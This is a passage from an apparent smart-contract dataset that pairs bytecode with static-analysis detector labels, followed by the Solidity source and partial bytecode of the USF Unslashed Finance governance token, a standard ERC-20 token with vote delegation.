054611505908661166a565b6001600160a01b038916600090815260026020526040902055611527816116c9565b6115318483611713565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115a582826113b0565b8210156115c257505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e88a600854600954611737565b92509250925060006115f861141e565b9050600080600061160b8e878787611786565b919e509c509a509598509396509194505050505091939550919395565b600061118583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611049565b6000806116778385611afd565b9050838110156111855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610461565b60006116d361141e565b905060006116e18383611331565b306000908152600260205260409020549091506116fe908261166a565b30600090815260026020526040902055505050565b6006546117209083611628565b600655600754611730908261166a565b6007555050565b600080808061174b6064610ad28989611331565b9050600061175e6064610ad28a89611331565b90506000611776826117708b86611628565b90611628565b9992985090965090945050505050565b60008080806117958886611331565b905060006117a38887611331565b905060006117b18888611331565b905060006117c3826117708686611628565b939b939a50919850919650505050505050565b80356117e181611bb2565b919050565b6000602082840312156117f7578081fd5b813561118581611bb2565b600060208284031215611813578081fd5b815161118581611bb2565b60008060408385031215611830578081fd5b823561183b81611bb2565b9150602083013561184b81611bb2565b809150509250929050565b60008060006060848603121561186a578081fd5b833561187581611bb2565b9250602084013561188581611bb2565b929592945050506040919091013590565b600080604083850312156118a8578182fd5b82356118b381611bb2565b946020939093013593505050565b600060208083850312156118d3578182fd5b823567ffffffffffffffff808211156118ea578384fd5b818501915085601f8301126118fd578384fd5b81358181111561190f5761190f611b9c565b8060051b604051601f19603f8301168101818110858211171561193457611934611b9c565b604052828152858101935084860182860187018a1015611952578788fd5b8795505b8386101561197b57611967816117d6565b855260019590950194938601938601611956565b5098975050505050505050565b600060208284031215611999578081fd5b813561118581611bc7565b6000602082840312156119b5578081fd5b815161118581611bc7565b6000602082840312156119d1578081fd5b5035919050565b6000806000606084860312156119ec578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a3157858101830151858201604001528201611a15565b81811115611a425783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611adc5784516001600160a01b031683529383019391830191600101611ab7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b1057611b10611b86565b500190565b600082611b3057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4f57611b4f611b86565b500290565b600082821015611b6657611b66611b86565b500390565b6000600019821415611b7f57611b7f611b86565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fd57600080fd5b80151581146104fd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220201e65ca44a196d3b877889fa52238d7a2274ce766677e1f7c0d134dae8891a664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,384 |
0xe0e05c43c097b0982db6c9d626c4eb9e95c3b9ce
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract USF {
/// @notice EIP-20 token name for this token
string public constant name = "Unslashed Finance Governance Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "USF";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 86000000e18; // 86 million USF
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new USF token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "USF::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "USF::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "USF::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "USF::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "USF::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "USF::delegateBySig: invalid nonce");
require(now <= expiry, "USF::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "USF::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "USF::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "USF::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "USF::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "USF::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "USF::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "USF::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "USF::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b919061282c565b60405180910390f35b61015e60048036036101599190810190612113565b61043f565b60405161016b9190612727565b60405180910390f35b61017c6105d1565b6040516101899190612930565b60405180910390f35b61019a6105e0565b6040516101a79190612742565b60405180910390f35b6101ca60048036036101c591908101906120c4565b6105f7565b6040516101d79190612727565b60405180910390f35b6101e8610889565b6040516101f5919061298f565b60405180910390f35b6102186004803603610213919081019061205f565b61088e565b604051610225919061270c565b60405180910390f35b6102486004803603610243919081019061205f565b6108c1565b005b610264600480360361025f919081019061205f565b6108ce565b604051610271919061294b565b60405180910390f35b610294600480360361028f919081019061205f565b6108f1565b6040516102a19190612930565b60405180910390f35b6102c460048036036102bf9190810190612113565b610960565b6040516102d191906129c5565b60405180910390f35b6102f460048036036102ef919081019061205f565b610d73565b6040516103019190612930565b60405180910390f35b610312610d8b565b60405161031f919061282c565b60405180910390f35b610342600480360361033d9190810190612113565b610dc4565b60405161034f9190612727565b60405180910390f35b610372600480360361036d919081019061205f565b610e01565b60405161037f91906129c5565b60405180910390f35b6103a2600480360361039d919081019061214f565b610eef565b005b6103be60048036036103b99190810190612088565b611175565b6040516103cb9190612930565b60405180910390f35b6103dc611221565b6040516103e99190612742565b60405180910390f35b61040c600480360361040791908101906121d8565b611238565b60405161041a929190612966565b60405180910390f35b604051806060016040528060228152602001612b966022913981565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831415610492577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104b7565b6104b483604051806060016040528060248152602001612c9b60249139611291565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105be91906129aa565b60405180910390a3600191505092915050565b6a4723355778d7d41600000081565b6040516105ec906126e2565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106b985604051806060016040528060248152602001612c9b60249139611291565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561073357507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561087057600061075d83836040518060600160405280603c8152602001612c5f603c91396112ef565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161086691906129aa565b60405180910390a3505b61087b878783611360565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108cb3382611741565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b906128d0565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a11576000915050610d6d565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b1357600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d6d565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b94576000915050610d6d565b600080905060006001830390505b8163ffffffff168163ffffffff161115610cef576000600283830363ffffffff1681610bca57fe5b0482039050610bd7611fc8565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610cc757806020015195505050505050610d6d565b86816000015163ffffffff161015610ce157819350610ce8565b6001820392505b5050610ba2565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600381526020017f555346000000000000000000000000000000000000000000000000000000000081525081565b600080610de983604051806060016040528060258152602001612c1460259139611291565b9050610df6338583611360565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e6b576000610ee7565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610efd906126e2565b6040518091039020604051806060016040528060228152602001612b966022913980519060200120610f2d611901565b30604051602001610f4194939291906127a2565b6040516020818303038152906040528051906020012090506000604051610f67906126f7565b6040518091039020888888604051602001610f85949392919061275d565b60405160208183030381529060405280519060200120905060008282604051602001610fb29291906126ab565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610fef94939291906127e7565b6020604051602081039080840390855afa158015611011573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561108d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611084906128b0565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055891461111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390612890565b60405180910390fd5b8742111561115f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611156906128f0565b60405180910390fd5b611169818b611741565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161122d906126f7565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c01000000000000000000000000831082906112e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dc919061284e565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a919061284e565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612910565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611440576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143790612870565b60405180910390fd5b6114ba600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060358152602001612bdf603591396112ef565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115a1600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280602f8152602001612cf2602f913961190e565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161166b91906129aa565b60405180910390a361173c600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611984565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46118fb828483611984565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f919061284e565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ce57506000816bffffffffffffffffffffffff16115b15611c7a57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b26576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611a71576000611aed565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b148285604051806060016040528060278152602001612bb8602791396112ef565b9050611b2286848484611c7f565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c79576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bc4576000611c40565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611c678285604051806060016040528060268152602001612c396026913961190e565b9050611c7585848484611c7f565b5050505b5b505050565b6000611ca343604051806060016040528060338152602001612cbf60339139611f72565b905060008463ffffffff16118015611d3857508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611dd35781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f1b565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f639291906129e0565b60405180910390a25050505050565b600064010000000083108290611fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb5919061284e565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061200581612b22565b92915050565b60008135905061201a81612b39565b92915050565b60008135905061202f81612b50565b92915050565b60008135905061204481612b67565b92915050565b60008135905061205981612b7e565b92915050565b60006020828403121561207157600080fd5b600061207f84828501611ff6565b91505092915050565b6000806040838503121561209b57600080fd5b60006120a985828601611ff6565b92505060206120ba85828601611ff6565b9150509250929050565b6000806000606084860312156120d957600080fd5b60006120e786828701611ff6565b93505060206120f886828701611ff6565b925050604061210986828701612020565b9150509250925092565b6000806040838503121561212657600080fd5b600061213485828601611ff6565b925050602061214585828601612020565b9150509250929050565b60008060008060008060c0878903121561216857600080fd5b600061217689828a01611ff6565b965050602061218789828a01612020565b955050604061219889828a01612020565b94505060606121a989828a0161204a565b93505060806121ba89828a0161200b565b92505060a06121cb89828a0161200b565b9150509295509295509295565b600080604083850312156121eb57600080fd5b60006121f985828601611ff6565b925050602061220a85828601612035565b9150509250929050565b61221d81612a3b565b82525050565b61222c81612a4d565b82525050565b61223b81612a59565b82525050565b61225261224d82612a59565b612b07565b82525050565b600061226382612a14565b61226d8185612a1f565b935061227d818560208601612ad4565b61228681612b11565b840191505092915050565b600061229c82612a09565b6122a68185612a1f565b93506122b6818560208601612ad4565b6122bf81612b11565b840191505092915050565b60006122d7603983612a1f565b91507f5553463a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160008301527f6e7366657220746f20746865207a65726f2061646472657373000000000000006020830152604082019050919050565b600061233d602183612a1f565b91507f5553463a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123a3600283612a30565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123e3602583612a1f565b91507f5553463a3a64656c656761746542795369673a20696e76616c6964207369676e60008301527f61747572650000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612449602683612a1f565b91507f5553463a3a6765745072696f72566f7465733a206e6f7420796574206465746560008301527f726d696e656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124af604383612a30565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b600061253b602583612a1f565b91507f5553463a3a64656c656761746542795369673a207369676e617475726520657860008301527f70697265640000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125a1603b83612a1f565b91507f5553463a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160008301527f6e736665722066726f6d20746865207a65726f206164647265737300000000006020830152604082019050919050565b6000612607603a83612a30565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b61266981612a83565b82525050565b61267881612a8d565b82525050565b61268781612a